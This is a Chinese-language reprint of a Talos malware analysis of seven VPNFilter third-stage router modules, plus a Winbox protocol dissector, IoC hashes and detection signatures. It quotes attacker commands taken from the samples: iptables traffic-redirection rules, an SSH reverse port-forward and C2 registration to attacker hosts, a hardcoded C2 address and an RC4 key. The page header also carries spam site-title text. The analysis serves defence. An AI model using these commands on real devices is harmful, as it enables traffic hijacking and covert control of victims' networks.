压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

VPNFilter III:惡意軟件中的瑞士軍刀

一、前言

VPNFilter是一款多階段的模塊化框架,已經(jīng)影響全球數(shù)十萬臺網(wǎng)絡(luò)設(shè)備,現(xiàn)在這個框架已經(jīng)具備更為強大的功能。最近思科Talos發(fā)現(xiàn)這款惡意軟件中新增了7個模塊(第3階段VPNFilter模塊),極大擴展了自身功能,還能以已突破網(wǎng)絡(luò)設(shè)備為據(jù)點攻擊端點設(shè)備,此外還包含數(shù)據(jù)過濾以及多重加密隧道功能,可以隱蔽命令與控制(C2)及數(shù)據(jù)傳輸流量。雖然我們以及合作伙伴的研究成果已經(jīng)能夠抵御來自VPNFilter的大部分威脅,但如果有些設(shè)備沒有部署針對性防御方案,這款惡意軟件依然可以隱蔽于實際環(huán)境中。

Talos幾個月以來一直在研究VPNFilter,并在5月份發(fā)布了最初的研究報告,在6月份介紹了該框架使用的其他模塊。在后續(xù)研究過程中,我們研發(fā)了一項技術(shù),能夠識別MikroTik網(wǎng)絡(luò)設(shè)備所使用的某個關(guān)鍵協(xié)議,以便搜尋攻擊者可能利用的攻擊方法。

在跟蹤VPNFilter的感染情況時,我們發(fā)現(xiàn)MikroTik網(wǎng)絡(luò)設(shè)備受到了來自攻擊者的嚴重威脅(特別是在烏克蘭境內(nèi)的設(shè)備)。由于這些設(shè)備對攻擊者的目標來說似乎非常重要,因此我們想進一步理解攻擊者對這些設(shè)備的具體利用方式,我們還學(xué)習(xí)了MikroTik的Winbox管理工具所使用的具體協(xié)議。在本文中,我們想與大家分享我們研究該協(xié)議的出發(fā)點和具體方式,以及我們開發(fā)的一款解碼器工具,安全社區(qū)可以使用該工具來分析該協(xié)議,尋找潛在的惡意攻擊行為。

VPNFilter非常復(fù)雜,所有人以及所有組織都應(yīng)該對此保持高度重視。只有高級的、有組織的防御方才能對抗這類威脅,并且VPNFilter的規(guī)模已經(jīng)非常龐大,我們永遠不能忽視這些新發(fā)現(xiàn)。

二、新增功能

新發(fā)現(xiàn)的VPNFilter第三階段模塊大大拓展了我們對已知威脅的理解深度,這些模塊新增了如下功能:

1、可以用來映射網(wǎng)絡(luò),攻擊與VPNFilter控制的設(shè)備相連接的端點。

2、通過各種方式混淆以及/或者加密惡意流量,包括C2流量以及數(shù)據(jù)通信流量。

3、利用多款工具來識別其他受害者,攻擊者可以利用已被VPNFilter突破的網(wǎng)絡(luò)設(shè)備為據(jù)點來訪問這些受害者,實現(xiàn)網(wǎng)內(nèi)橫向滲透,也能用來識別攻擊者感興趣的其他網(wǎng)絡(luò)的邊際設(shè)備。

4、支持構(gòu)建分布式代理網(wǎng)絡(luò),可以在未來不相關(guān)的攻擊活動中使用,用來混淆攻擊源的真實流量,讓外界誤以為攻擊來自于先前被VPNFilter控制的設(shè)備。

逆向分析這些模塊后,我們可以確認惡意軟件的具體功能。在此之前,我們只能根據(jù)感知數(shù)據(jù)來分析這些功能,這樣難免會出現(xiàn)一些紕漏。

比如,我們之前注意到被VPNFilter控制的設(shè)備會掃描一大段IP地址空間,尋找受VPNFilter攻擊者利用方法影響的其他設(shè)備。現(xiàn)在我們可以討論負責(zé)這類行為的特定第三階段模塊。

在分析這些擴展模塊后,我們得以進一步了解VPNFilter相關(guān)的全部功能。

三、新增模塊

如前文所述,Talos識別出了如下7個新增模塊,這些模塊極大拓展了VPNFilter的功能:

下文我們會逐一介紹這些模塊。

htpx(端點攻擊模塊—可執(zhí)行文件注入)

htpx是VPNFilter的第三階段模塊。該模塊與我們之前分析的ssler模塊共享部分代碼,根據(jù)二進制文件中的字符串信息,我們發(fā)現(xiàn)該模塊主要以開源代碼為基礎(chǔ)。典型的例子為lipiptc.c,該代碼為Netfilter中的一部分:

圖示:htpx(左側(cè))與ssler(右側(cè))中的字符串對比

htpx中的主功能函數(shù)負責(zé)設(shè)置iptables規(guī)則,以便將流向TCP 80端口的數(shù)據(jù)轉(zhuǎn)到到本地服務(wù)器的8888端口。惡意軟件首先加載能夠進行流量管理的內(nèi)核模塊實現(xiàn)流量轉(zhuǎn)發(fā),通過insmod命令完成相關(guān)模塊(Ip_tables.ko、Iptable_filter.ko以及Iptable_nat.ko)的加載。

隨后,htpx模塊使用如下命令來隱蔽轉(zhuǎn)發(fā)流量:

iptables -I INPUT -p tcp --dport 8888 -j ACCEPT
iptables -t nat -I PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8888

惡意模塊還會定期檢查這些規(guī)則是否依然存在,定期執(zhí)行規(guī)則刪除代碼,然后再重新添加這些規(guī)則。此外,該模塊還會創(chuàng)建一個臨時文件:/var/run/htpx.pid。

之后該模塊會生成如下HTTP請求:

GET %s HTTP/1.1rnHost: 103.6.146.194rnAccept: */*rnUser-Agent: curl53rnrn

在我們對htpx模塊的分析過程中,我們無法捕獲來自C2基礎(chǔ)設(shè)施的響應(yīng)數(shù)據(jù),因此無法觀察其他模塊的行為。分信息該模塊的二進制文件后,我們發(fā)現(xiàn)該模塊會檢查HTTP通信數(shù)據(jù),識別其中是否存在Windows可執(zhí)行文件。如果滿足該條件,則會標記可執(zhí)行文件并將其加入某個表中。可以肯定的是,攻擊者可能會利用該模塊來下載二進制載荷,動態(tài)修改通過當(dāng)前控制設(shè)備的Windows可執(zhí)行文件。

ndbr(多功能SSH工具)

ndbr模塊具備SSH功能,也能夠掃描其他IP地址的端口狀態(tài)。該模塊使用了dropbear SSH服務(wù)端以及客戶端,是dbmulti(2017.75版)的修改版。我們已確定該模塊對標準的dropbear功能做了若干修改。

第一處改動位于dbmulti應(yīng)用中。這款典型的應(yīng)用可以充當(dāng)SSH客戶端以及SSH服務(wù)端角色,能夠使用SCP執(zhí)行數(shù)據(jù)傳輸任務(wù)、生成或轉(zhuǎn)換密鑰,具體功能由程序名或者傳入的首個參數(shù)來決定。ndbr模塊將生成或轉(zhuǎn)換密鑰的功能替換為網(wǎng)絡(luò)映射功能(比如端口掃描)以及名為ndbr的另一個函數(shù)。

與原始的dbmulti應(yīng)用類似,ndbr模塊的具體功能取決于程序名或者傳入的第一個參數(shù)。ndbr可以接受的參數(shù)具體為dropbear、dbclient、ssh、scp、ndbr以及nmap。下面我們給大家具體介紹一下這些參數(shù)。

DROPBEAR

dropbear命令可以指示ndbr模塊以SSH服務(wù)器形態(tài)運行。原始的dropbear代碼使用了默認的SSH端口(TCP/22)來監(jiān)聽傳入連接。然而ndbr模塊修改了這部分代碼,使用默認的TCP/63914端口進行監(jiān)聽。此外,該模塊還修改了負責(zé)處理主機密鑰文件(keyfile)的dropbear代碼。默認的密鑰文件路徑已經(jīng)修改為/db_key,但ndbr模塊并沒有釋放該文件,而是修改buf_readfile這個dropbear函數(shù),當(dāng)文件名參數(shù)等于/db_key時,就會從內(nèi)存中直接加載匹配的密鑰。

該模塊并沒有使用基于密碼的認證方式,而是修改dropbear服務(wù)端,通過匹配的公鑰進行身份認證,該密鑰同樣內(nèi)嵌在ndbr可執(zhí)行文件中。修改過的代碼中存在一個bug,無法處理使用不正確公鑰的連接請求,此時認證失敗會導(dǎo)致ndbr SSH服務(wù)端卡死,陷入無限循環(huán)中,然而客戶端并不知道認證失敗結(jié)果。此時我們無法獲取能夠通過ndbr SSH服務(wù)器認證的正確密鑰,ndbr模塊中內(nèi)嵌的密鑰(比如/db_key以及/cli_key)并不是正確密鑰,我們也沒有在其他VPNFilter相關(guān)應(yīng)用中找到對應(yīng)的密鑰。

DBCLIENT(SSH)

如果傳入dbclient或者ssh參數(shù),ndbr模塊就會化身為標準的dropbear SSH命令行接口客戶端,但修改了默認的選項。與dropbear服務(wù)端命令所使用的默認密鑰文件參數(shù)一樣,dbclient/ssh命令同樣具有默認的標識文件:/cli_key。此時我們并不知道dbclient(SSH客戶端)原本想連接的是哪個目的地址。

NMAP

如果傳入nmap參數(shù),ndbr模塊就會對某個IP或者某段IP空間進行端口掃描,具體命令為:

Usage %s -ip* <ip-addr: 192.168.0.1/ip-range 192.168.0.0./24> -p* <port: 80/port-range: 25-125> -noping <default yes> -tcp <default syn> -s <source ip> -h/--help (print this help)

NDBR

如果傳入ndbr參數(shù),那么ndbr模塊就會根據(jù)傳入的其他參數(shù),執(zhí)行3種操作中的一種。這種場景中SSH命令使用的是前文提到的默認密鑰(即/db_key和/cli_key)。

第三個參數(shù)必須以start開頭,否則ndbr模塊就會執(zhí)行卸載操作。

如果使用如下參數(shù)運行ndbr模塊:

$ ./ndbr_<arch> ndbr <param1> <param2> "start proxy <host> <port>"

那么就會執(zhí)行如下dropbear SSH命令:

ssh -y -p <port> prx@<host> srv_ping j(<B64 victim host name>)_<victim MAC address> <param2>

此時dropbear SSH客戶端就會連接到某個遠程主機,并執(zhí)行srv_ping命令,該命令很有可能用來在C2服務(wù)器上注冊受害者信息。

如果使用如下參數(shù)運行ndbr模塊:

$ ./ndbr_<arch> ndbr <param1> <param2> "start -l <port>"

那么就會運行SSH服務(wù)端(如前文所述),開始監(jiān)聽特定端口:

sshd -p <port>

如果使用如下參數(shù)運行ndbr模塊:

$ ./ndbr_<arch> ndbr <param1> <param2> "start <user> <host> <port>"

那么就會執(zhí)行如下dropbear命令,開啟遠程端口轉(zhuǎn)發(fā):

ssh -N -T -y -p <port> -R :127.0.0.1:63914 <user>@<host>

nm(網(wǎng)絡(luò)映射器)

nm模塊可以用來掃描和映射本地子網(wǎng)。該模塊會遍歷所有接口,通過ARP掃描發(fā)現(xiàn)該接口對應(yīng)IP所屬子網(wǎng)中的所有主機。一旦收到ARP響應(yīng)包,nm就會向探測到的主機發(fā)送一個ICMP echo請求。如果收到ICMP echo回復(fù),則執(zhí)行端口掃描操作,嘗試連接該主機的如下端口:9、 21、 22、 23、 25、 37、 42、 43、 53、 69、 70、 79、 80、 88、 103、 110、 115、 118、 123、 137、 138、 139、 143、 150、 156、 161、 190、 197、 389、 443、 445、 515、 546、 547、 569、 3306、 8080或者8291端口。

接下來,該模塊使用MikroTik網(wǎng)絡(luò)發(fā)現(xiàn)協(xié)議(MNDP,MikroTik Network Discovery Protocol)來搜索本地網(wǎng)絡(luò)中的其他MikroTik設(shè)備。一旦某個MikroTik設(shè)備回復(fù)MNDP ping請求,那么nm模塊就會提取出該設(shè)備的MAC地址、系統(tǒng)標識、版本號、平臺類型、運行時間(以秒為單位)、RouterOS軟件ID、RouterBoard模型以及接口名稱。

nm模塊會檢查/proc/net/arp來獲取被感染設(shè)備的ARP表信息,了解相鄰設(shè)備的IP地址以及MAC地址,然后獲取/proc/net/wireless中的所有數(shù)據(jù)。

該模塊還會執(zhí)行traceroute操作,首先嘗試通過TCP協(xié)議連接8.8.8.8:53,確認目的地可達(沒有發(fā)送任何數(shù)據(jù)),然后向該IP發(fā)送TTL遞增的ICMP echo請求報文。

收集到的所有網(wǎng)絡(luò)信息保存到一個臨時文件中:/var/run/repsc_<time stamp>.bin,該文件的內(nèi)容如下所示:

該模塊中還存在負責(zé)處理SSDP、CDP以及LLDP函數(shù)的代碼,但我們分析的樣本并沒有調(diào)用這些函數(shù),因此上圖文件中并沒有包含這部分數(shù)據(jù)。

nm模塊會請求3個命令行參數(shù)來正常運行,但實際上只用到了第1個參數(shù)。與其他幾個模塊一樣,第1個參數(shù)為一個文件夾,用來永久保存數(shù)據(jù)信息。nm模塊所執(zhí)行的最后一個任務(wù)是將包含掃描結(jié)果的.bin臨時文件移動到第1個參數(shù)所指定的目錄,為VPNFilter主進程的后續(xù)滲透操作提供服務(wù)。

netfilter(拒絕服務(wù)工具)

netfilter模塊需要接受來自命令行的3個參數(shù),前面2個參數(shù)并沒有使用,第3個參數(shù)為帶引號的一個字符串,具體格式為<block/unblock> <# of minutes>,其中# of minutes代表netfilter在退出之前所需要運行的時間長度,如果用到了block參數(shù),那么netfilter就會將如下規(guī)則加入iptables中:

Chain FORWARD (policy ACCEPT)
target     prot opt source         destination
DROP        tcp -- anywhere        anywhere       tcpflags: PSH/PSH

添加上述規(guī)則后,netfilter會等待30秒,然后刪除這條規(guī)則。如果參數(shù)指定的# of minutes值仍有富余時間,那么就會再次執(zhí)行這個過程。通過這種添加及刪除循環(huán)操作,即便設(shè)備刪除了該規(guī)則,這個模塊仍可以確保該規(guī)則被再次添加。

一旦超過參數(shù)設(shè)定的分鐘數(shù),程序就會退出。netfilter程序開頭處會安裝信號處理程序,一旦程序收到SIGINT或者SIGTERM信號,就會刪除iptables規(guī)則然后退出。通過這種方式,如果有人手動結(jié)束netfilter程序,設(shè)備也能正常工作。

最后,unblock參數(shù)用來刪除先前block參數(shù)所添加的iptables規(guī)則。

雖然我們沒有在程序中找到其他代碼路徑,但有跡象表明該模塊包含(或者可能包含)其他功能。

第一個線索,Talos分析的不同netfilter模塊樣本(MIPS、PPC以及Tile-GX)都包含同一個CIDR IP地址及范圍列表(總共168個元素),這些地址與如下公司/服務(wù)有關(guān):

31.13.64.51 - WhatsApp
169.44.36.0/25 - WhatsApp
203.205.167.0/24 - Tencent
52.0.0.0/16 - Amazon.com, Inc. (有多個加密應(yīng)用的IP地址位于這個地址段中,這些應(yīng)用為Wikr、Signal、Dust以及Confide)

這意味著netfilter模塊可能用來攔截對某類加密應(yīng)用的訪問,嘗試將受害者的通信數(shù)據(jù)引到攻擊者容易處理其他服務(wù)。有趣的是,這份清單中缺少一個非常受歡迎的加密聊天應(yīng)用:Telegram。

然而,我們無法在代碼中找到與這些字符串有關(guān)的任何引用。我們分析的所有版本的netfilter樣本雖然都包含同樣一份IP范圍列表,卻沒有用到這些信息,可能我們收集到的樣本并不完整。

netfilter模塊所添加的iptables規(guī)則會丟棄帶有PUSH標志的TCP報文。如果攻擊者的目的是使用已控制的設(shè)備發(fā)起拒絕服務(wù)攻擊,那么他們可能會使用這條規(guī)則來攔截所有報文,而不單單是帶有PUSH標志的TCP報文。通常情況下,這類規(guī)則對中間人攻擊(man-in-the-middle)場景非常有用,可以幫助具備設(shè)備訪問權(quán)限的攻擊者攔截中轉(zhuǎn)的流量、修改流量然后再轉(zhuǎn)發(fā)流量。這樣就可能解釋為什么程序中會存在CIDR IP地址范圍。在已分析的所有樣本中,我們無法找到這類功能存在的任何線索。

我們可以證實攻擊者并沒有用到這些IP,可能這些IP是舊版本netfilter模塊的遺留信息,也有可能是相關(guān)功能尚未實現(xiàn),或者是我們尚未發(fā)現(xiàn)的被惡意軟件作者修改的iptables靜態(tài)鏈接庫。VPNFilter作者之前也修改過開源代碼(比如ndbr模塊),因此他們也有可能會修改netfilter模塊中鏈接的libiptc代碼。

portforwarding(轉(zhuǎn)發(fā)流量至攻擊者的基礎(chǔ)設(shè)施)

portforwarding模塊所使用的命令行參數(shù)如下所示:

./portforwarding <unused> <unused> "start <IP1> <PORT1> <IP2> <PORT2>"

傳入這些參數(shù)后,portforwarding模塊可以安裝如下iptables規(guī)則,將來自特定端口及IP的流量轉(zhuǎn)發(fā)到另一個端口及IP地址:

iptables -t nat -I PREROUTING 1 -p tcp -m tcp -d <IP1> --dport <PORT1> -j DNAT --to-destination <IP2>:<PORT2>

iptables -t nat -I POSTROUTING 1 -p tcp -m tcp -d <IP2> --dport <PORT2> -j SNAT --to-source <device IP>

這些規(guī)則會導(dǎo)致流經(jīng)已感染設(shè)備的、目的地為IP1:PORT1的所有流量被重定向到IP2:PORT2地址處。第二條規(guī)則會修改重定向流量中的源地址,將其改為已感染設(shè)備的地址,確保響應(yīng)數(shù)據(jù)可以回到被感染設(shè)備。

為了確保規(guī)則切實可用,在安裝這些iptables規(guī)則之前,portforwarding模塊首先會檢查IP2的確可用,具體操作是創(chuàng)建連接至IP2:PORT2的一個socket連接,然而關(guān)閉socket前該模塊并不會發(fā)送任何數(shù)據(jù)。

與修改iptables的其他模塊類似,portforwarding模塊也會進入一個循環(huán)過程,不斷添加規(guī)則、等待一段時間、刪除規(guī)則然后再重新添加規(guī)則,確保這些規(guī)則在被手動刪除的情況下,依然可以保留在設(shè)備上。

socks5proxy(在被控設(shè)備上創(chuàng)建SOCKS5代理)

socks5proxy模塊是一個SOCKS5代理服務(wù)器,基于shadowsocks開源項目開發(fā)。服務(wù)器沒有使用身份認證方案,在硬編碼的TCP 5380端口上監(jiān)聽。在服務(wù)器運行之前,socks5proxy會執(zhí)行fork操作,連接至傳入?yún)?shù)中指定的某個C2服務(wù)器。如果C2服務(wù)器在幾秒鐘內(nèi)沒有響應(yīng),則fork進程會結(jié)束父進程(原始服務(wù)器)然后退出。C2服務(wù)器可以返回一些命令,讓服務(wù)器正常運行或終止運行。

該某塊包含如下使用幫助字符串,但這些字符串實際上并非socks5proxy模塊所使用的參數(shù),并且無法通過命令行參數(shù)來修改這些設(shè)置:

ssserver
    --username <username> username for auth
    --password <password> password for auth
    -p, --port <port> server port, default to 1080
    -d run in daemon
    --loglevel <level> log levels: fatal, error, warning, info, debug, trace
    -h, --help help

實際上socks5proxy模塊所使用的命令行參數(shù)如下所示:

./socks5proxy <unused> <unused> "start <C&C IP> <C&C port>"

socks5proxy模塊會驗證參數(shù)數(shù)量是否大于1,但如果輸入2個參數(shù)則會導(dǎo)致該進程收到SIGSEV信號而崩潰,這表明這款惡意軟件工具鏈的某些研發(fā)階段中的代碼質(zhì)量控制并不理想,或者非常有限。

tcpvpn(在被控設(shè)備上創(chuàng)建反向TCP VPN連接)

tcpvpn模塊是一個反向TCP(Reverse-TCP)VPN模塊,允許遠程攻擊者訪問已感染設(shè)備后面的內(nèi)部網(wǎng)絡(luò)。該模塊與遠程服務(wù)器通信,后者可以創(chuàng)建類似TunTap之類的設(shè)備,通過TCP連接轉(zhuǎn)發(fā)數(shù)據(jù)包。連接請求由網(wǎng)絡(luò)設(shè)備發(fā)出,因此可能幫助該模塊繞過某些簡單的防火墻或者NAT限制。該模塊在概念上類似于Cobalt Strike這款滲透測試軟件的VPN Pivoting功能。

發(fā)送的所有數(shù)據(jù)包都經(jīng)過RC4加密處理,密鑰通過硬編碼的字節(jié)來生成,如下所示:

213B482A724B7C5F4D77532B45212D215E79433D794A54682E6B653A56796E457A2D7E3B3A2D513B6B515E775E2D7E533B51455A68365E6A67665F34527A7347

密鑰兩端分別為當(dāng)前連接的端口號(比如58586!;H*rK|_MwS+E!-!^yC=yJTh.ke:VynEz-~;:-Q;kQ^w^-~S;QEZh6^jgf_4RzsG80)。

tcpvpn模塊所使用的命令行語法如下所示:

./tcpvpn <unused> <unused> "start <C&C IP> <C&C port>"

四、MikroTik研究

Winbox協(xié)議解析器

在研究VPNFilter的過程中,我們需要確定攻擊者如何攻破其中某些設(shè)備。在檢查MikroTik系列設(shè)備時,我們注意到設(shè)備上開放了一個端口(TCP 8291),而Winbox這款配置工具會使用該端口來通信。

來自這些設(shè)備的流量均為大量的二進制數(shù)據(jù),因此我們無法在不使用協(xié)議解析器的情況下來分析該協(xié)議所能觸及的訪問路徑(根據(jù)我們先前了解的情況,網(wǎng)上并沒有公開相關(guān)研究內(nèi)容)。我們決定自己開發(fā)協(xié)議解析器,以便與Wireshark等數(shù)據(jù)包分析工具配合使用,進一步了解該協(xié)議的更多信息,這樣我們就能設(shè)計有效的規(guī)則,以便未來在發(fā)現(xiàn)潛在的攻擊向量時能夠阻止感染路徑。

典型的攻擊向量為CVE-2018-14847,攻擊者可以利用該漏洞在未通過身份認證的情況下執(zhí)行路徑遍歷攻擊。在編寫適配該漏洞的規(guī)則時(Snort SID: 47684),協(xié)議解析器發(fā)揮了非常關(guān)鍵的作用。雖然官方已發(fā)布了修復(fù)該漏洞的更新,我們認為專業(yè)的安全人員必須能夠監(jiān)控這類流量,以識別其他任何潛在的惡意流量。

此時我們依然能夠保證用戶的隱私,只要用戶使用“安全模式(secure mode)”來加密通信,或者下載最新版的Winbox客戶端(該客戶端只會使用加密通道來傳輸數(shù)據(jù))即可。這款工具不會解密已加密的通信數(shù)據(jù)。我們測試的最新版的MikroTik CCR固件版本為6.43.2版,該版本會強制使用較新版的Winbox客戶端,但這種限制條件只應(yīng)用于客戶端。這意味著我們?nèi)匀豢梢允褂米远x的客戶端,通過不安全的通道進行通信。因此,我們認為這個Wireshark解析器依然可用,因為攻擊者仍然可以投遞漏洞利用載荷,無需滿足前面提到的安全通信條件。

何為“Winbox協(xié)議”

Winbox這個名詞來自于MikroTik提供的Winbox客戶端,用來作為Web GUI的替代方案。

根據(jù)官方文檔,Winbox是一個小型工具,可以使用快速且簡單的GUI來管理MikroTik RouterOS。這是一個原生的Win32程序,但也可以通過Wine(一個開源兼容層解決方案)運行在Linux以及MacOS上。所有的Winbox接口函數(shù)都盡可能與控制臺函數(shù)靠攏,這也是為什么手冊中不存在Winbox內(nèi)容的原因所在。Winbox無法修改某些高級以及關(guān)鍵系統(tǒng)配置,比如無法修改某個接口的MAC地址。

據(jù)我們所知,“Winbox協(xié)議”并非官方名詞,因為這個名詞與官方客戶端匹配,因此我們選擇使用這個說法。

使用解析器

解析器安裝起來非常簡單,由于這是一個基于LUA的解析器,因此無需重新編譯。只需要將Winbox_Dissector.lua文件放入/$HOME/.wireshark/plugins目錄即可。默認情況下,只要我們安裝了這個解析器,就能正確解析來自或者發(fā)往TCP 8291端口的所有流量。

來自客戶端/服務(wù)器的單條消息解析起來更加方便,然而實際環(huán)境中總會遇到各種各樣的情況。觀察實時通信數(shù)據(jù)后,我們證實Winbox消息可以使用各種格式進行發(fā)送。

我們捕獲過的Winbox通信數(shù)據(jù)具備各種屬性,比如:

1、在同一個報文中發(fā)送多條消息;

2、消息中包含1個或多個2字節(jié)的“chunks”數(shù)據(jù),我們在解析之前需要刪除這些數(shù)據(jù);

3、消息過長,無法使用單個報文發(fā)送——出現(xiàn)TCP重組情況;

4、包含其他“嵌套”消息的消息。

在安裝解析器之前捕獲得到數(shù)據(jù)包如下圖所示:

安裝Winbox協(xié)議解析器后,Wireshark可以正確解析通信數(shù)據(jù),如下圖所示:

獲取解析器

為了幫助安全社區(qū)分析這類通信數(shù)據(jù),也為了監(jiān)控可能利用Winbox協(xié)議的潛在威脅,思科Talos公開了這款解析器,大家可以訪問GitHub頁面下載這款工具。

五、總結(jié)

結(jié)合我們之前發(fā)現(xiàn)的VPNFilter功能以及這次的新發(fā)現(xiàn),我們現(xiàn)在可以確認VPNFilter可以為攻擊者提供各種功能來利用已攻破的網(wǎng)絡(luò)以及存儲設(shè)備,以便進一步滲透及攻擊目標網(wǎng)絡(luò)環(huán)境。

攻擊者可以利用該框架將攻擊范圍擴大到敏感系統(tǒng),如網(wǎng)關(guān)或者路由設(shè)備上,以執(zhí)行類似網(wǎng)絡(luò)映射、端點攻擊、網(wǎng)絡(luò)通信監(jiān)控以及流量篡改等攻擊活動。VPNFilter還提供了另一個危險功能,能夠?qū)⒁迅腥镜脑O(shè)備轉(zhuǎn)化為代理,利用這些代理來混淆未來的攻擊源,使將人們誤以為攻擊流量來自于先前被VPNFilter攻擊的網(wǎng)絡(luò)。該框架非常復(fù)雜,進一步說明攻擊者可以利用該框架的各種高級功能,也表明我們需要部署更強大的防御架構(gòu)來應(yīng)對類似VPNFilter之類的威脅。

進一步了解VPNFilter后,先前我們未解決的大部分問題已經(jīng)有了答案。然而,時至今日,我們面對該威脅時仍有一些問題尚未澄清:

1、攻擊者最開始時如何獲取目標設(shè)備的訪問權(quán)限?

雖然我們認為攻擊者利用了已知的公開漏洞來攻破受VPNFilter影響的這些設(shè)備,但我們?nèi)匀粵]有明確的證據(jù)證實這一點。

2、攻擊者是否嘗試重新獲取訪問權(quán)限?

基于我們的感知數(shù)據(jù)以及合作伙伴提供的信息,我們發(fā)現(xiàn)VPNFilter已經(jīng)完全處于靜默期,因為我們和國際上的合作伙伴(執(zhí)法部門、情報機構(gòu)以及網(wǎng)絡(luò)威脅聯(lián)盟)已在今年早些時候成功抵御了這個威脅。這款惡意軟件所使用的大多數(shù)C2通道已經(jīng)摧毀。第二階段植入體不具備持久化技術(shù),因此很有可能已從被感染的設(shè)備中清除。我們沒有發(fā)現(xiàn)攻擊者嘗試重新連接目標設(shè)備的任何跡象(這些設(shè)備運行第一階段持久化載荷,會監(jiān)聽接入請求)。

這是否意味著攻擊者已經(jīng)放棄進入小型家庭辦公(SOHO)網(wǎng)絡(luò)設(shè)備空間的這個據(jù)點?攻擊者是否重新開始,重新攻擊并釋放未知的惡意軟件,重新獲取了訪問權(quán)限?攻擊者是否放棄針對全球范圍的SOHO訪問權(quán)限,轉(zhuǎn)而采用跟為針對性的方案,只攻擊特定的關(guān)鍵目標?

無論答案如何,我們知道VPNFilter背后的攻擊者實力很強,會在任務(wù)驅(qū)動下不斷改進,以實現(xiàn)他們的既定目標。攻擊者會以某種形式繼續(xù)開發(fā)任務(wù)目標所需的各種工具和框架。

六、IoC

a43a4a218cf5755ce7a7744702bb45a34321339ab673863bf6f00ac193cf55fc
aac52856690468687bbe9e357d02835e9f5226a85eacc19c34ff681c50a6f0d8
13165d9673c240bf43630cddccdc4ab8b5672085520ee12f7596557be02d3605
b81f857cd8efab6e6e5368b1c00d93505808b0db4b773bee1843a3bc948d3f4f
809f93cbcfe5e45fae5d69ca7e64209c02647660d1a79b52ec6d05071b21f61a
7ff2e167370e3458522eaa7b0fb81fe21cd7b9dec1c74e7fb668e92e261086e0
81368d8f30a8b2247d5b1f8974328e9bd491b574285c2f132108a542ea7d38c7
b301d6f2ba8e532b6e219f3d9608a56d643b8f289cfe96d61ab898b4eab0e3f5
99e1db762ff5645050cea4a95dc03eac0db2ceb3e77d8f17b57cd6e294404cc7
76bf646fce8ff9be94d48aad521a483ee49e1cb53cfd5021bb8b933d2c4a7f0f
e009b567516b20ef876da6ef4158fad40275a960c1efd24c804883ae273566b0
7c06b032242abefe2442a8d716dddb216ec44ed2d6ce1a60e97d30dbba1fb643
f8080b9bfc1bd829dce94697998a6c98e4eb6c9848b02ec10555279221dd910a
4e350d11b606a7e0f5e88270938f938b6d2f0cc8d62a1fdd709f4a3f1fa2c828
f1cf895d29970c5229b6a640c253b9f306185d4e99f4eac83b7ba1a325ef9fb8
8395e650e94b155bbf4309f777b70fa8fdc44649f3ab335c1dfdfeb0cdee44ff
a249a69e692fff9992136914737621f117a7d8d4add6bac5443c002c379fe072
5e75b8b5ebbef78f35b00702ced557cf0f30f68ee08b399fc26a3e3367bb177b
fe022403a9d4c899d8d0cb7082679ba608b69091a016e08ad9e750186b1943dd
116d584de3673994e716e86fbb3945e0c6102bfbd30c48b13872a808091e6bc9
4263c93ce53d7f88c62fecb6a948d70e51c19e1049e07df2c70a467bcefee2c8
5d70e7dd5872cc0d7d0f7015c11400e891c939549c01922bff2bbe3b7d5d1ce3
5c52f115ab8a830d402fac8627d0bfdcbbfd4dcf0e6ad8154d49bb85387893aa
e75e224c909c9ead4cb50cd772f606407b09b146051bfb28015fcbe27b4a5e8d
999f14044f41adfd9fb6c97c04d7d2fd9af01724b3ab69739acf615654abfa43
b118b23a192f372616efe8c2b12977d379ac76df22493c14361587bd1cc8a804
7ba0dc46510492a7f6c9b2bcc155333898d677cd8a88fe0e1ac1ad3852f1c170
83b3dbf7f6bc5f98151b26781fa892fc1a014c62af18c95ae537848204f413b8
fce03f57b3fd3842efac3ce676687794c4decc29b612068e578134f3c4c4296a
1f26b69a353198bb047dde86d48198be8271e07f8c9d647d2f562207e1330a37
1e824654afba03678f8177e065c487a07192069711eeb4abe397010771b463b5
84227f906c7f49071d6598b9035fc785d2b144a6349d0cf7c29177c00db2dc2f
6eb09f805a68b29c9516d649019bea0bb4796e504ca379783455508a08f61087
aa5baa135b2ada5560833747260545d6a5b49558f6244c0f19443dc87c00294d
4c5e21125738c330af1bfe5cabc5f18fa14bbef53805dda2c3c31974555f7ec5
0f3746f273281472e7181f1dd1237f0c9fc26f576a883f42413c759f381006c4
acfc72b8d6611dc9cd6a3f1a4484aa0adfb404ad5faaa8b8db5747b0ff05bc22
fe9c17ac036622b2d73466f62b5d095edda2d3b60fa546a48d0bb18f8b11059f
830091904dab92467956b91555bc88fa7e6bbde514b8a90bb078c8a3bb2f39a9
5a28ad479d55275452e892b799c32803f81307079777bb1a5c4d24477206d16b
8440128350e98375b7eff67a147dfe4e85067d67f2ad20d9485f3de246505a5f
275c4e86218915c337d7e37e7caba36cb830512b17353bf9716c4ba6dceb33ed
b700207c903e8da41f33f11b69f703324ec79eb56c98b22efaeac0a10447ec44
2aa149a88539e8dd065c8885053a30d269be63d41a5db3f66c1982202761aa75
1a11240d0af108720de1a8a72ceadef102889f4d5679c1a187559d8d98143b0b
3b6be595b4183b473964345090077b1df29b0cace0077047b46174cc09c690e1
620c51f83457d0e8cb985f1aff07c6d4a33da7566297d41af681ae3e5fbd2f80
4c8da690501c0073a3c262a3079d8efac3fea9e2db9c55f3c512589e9364e85c
d92282acf3fea66b05a75aba695e98a5ea1cc1151f9e5370f712b69a816bf475
30382c1e7566d59723ff7ef785a1395711be64873dbca6d86691b1f5d86ba29f

我們發(fā)布了如下特征及規(guī)則以便檢測VPNFilter使用的附加模塊。

檢測ndbr的Snort規(guī)則

sid:1:47377:1

Clam AV規(guī)則

Unix.Trojan.Vpnfilter_htpx-6596262-0
Unix.Trojan.Vpnfilter_ndbr-6598711-0
Unix.Trojan.Vpnfilter_netfilter-6599563-0
Unix.Trojan.Vpnfilter_nm-6598714-0
Unix.Trojan.Vpnfilter_portforwarding-6599587-0
Unix.Trojan.Vpnfilter_socks5proxy-6599614-0
Unix.Trojan.Vpnfilter_tcpvpn-6606298-0
Unix.Trojan.Vpnfilter-6425812-1
Unix.Trojan.Vpnfilter-6550592-1

上一篇:層級化安全正在衰亡 分層數(shù)字化身份與深度身份是未來

下一篇:警示|國家計算機病毒應(yīng)急處理中心監(jiān)測發(fā)現(xiàn)十款違法移動應(yīng)用